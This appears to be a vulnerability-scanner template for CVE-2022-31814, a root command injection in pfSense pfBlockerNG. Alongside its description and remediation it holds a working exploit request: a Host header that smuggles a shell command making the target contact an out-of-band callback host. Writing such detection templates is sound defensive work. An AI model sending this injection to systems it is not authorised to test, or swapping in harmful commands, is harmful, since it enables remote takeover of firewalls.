59 lines
2.0 KiB
YAML
59 lines
2.0 KiB
YAML
id: CVE-2022-31814
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info:
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name: pfSense pfBlockerNG <=2.1..4_26 - OS Command Injection
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author: EvergreenCartoons
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severity: critical
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description: |
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pfSense pfBlockerNG through 2.1.4_26 is susceptible to OS command injection via root via shell metacharacters in the HTTP Host header. NOTE: 3.x is unaffected.
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impact: |
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Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system.
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remediation: |
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Upgrade to a patched version of pfSense pfBlockerNG (>=2.1..4_27) to mitigate this vulnerability.
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reference:
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- https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
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- https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
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- https://github.com/EvergreenCartoons/SenselessViolence
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- https://nvd.nist.gov/vuln/detail/CVE-2022-31814
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- http://packetstormsecurity.com/files/171123/pfBlockerNG-2.1.4_26-Remote-Code-Execution.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-31814
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cwe-id: CWE-78
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epss-score: 0.97252
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epss-percentile: 0.99847
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cpe: cpe:2.3:a:netgate:pfblockerng:*:*:*:*:*:pfsense:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: netgate
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product: pfblockerng
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framework: pfsense
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tags: cve,cve2022,packetstorm,pfsense,pfblockerng,rce,oast,netgate
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http:
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- raw:
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- |+
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GET /pfblockerng/www/index.php HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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- |+
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GET /pfblockerng/www/index.php HTTP/1.1
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Host: ' *; host {{interactsh-url}}; '
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Accept: */*
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unsafe: true
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- 'contains(body_1, "GIF")'
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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# digest: 490a00463044022061419438c8476d852bc22439b5c66b71568aad15d15612a46c47e36f01fe39480220765d71411609420dc5e405527ddf064c99aebf007b49df48f136a41430a61e30:922c64590222798bb761d5b6d8e72950 |